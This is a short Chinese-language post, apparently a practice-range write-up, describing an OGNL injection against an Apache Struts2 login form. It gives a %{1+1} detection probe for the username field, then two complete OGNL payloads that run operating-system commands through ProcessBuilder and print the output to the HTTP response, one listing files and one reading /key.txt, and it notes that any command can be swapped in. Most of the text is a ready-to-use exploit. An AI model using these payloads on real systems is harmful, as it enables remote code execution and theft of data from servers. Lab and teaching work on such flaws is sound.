打了某靶场之后清晰地认识到了自己的不足,好多东西都不知道是干啥,一脸的懵逼,果然渗透测试安全评估和打靶场拿shell是两个不同的工作,我承认我还是太菜。。。。。。
这个是我知道的,只需要在用户名输入
%{1+1}
密码瞎写就行,然后点击提交,若是账号位置变成2,则证明存在漏洞
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ls",})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
研究出来这个payload的是真牛皮
这条命令是执行以下ls命令,想要执行什么命令只需在{“ls”}将ls替换成自己想要的命令就行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
一句话,菜是原罪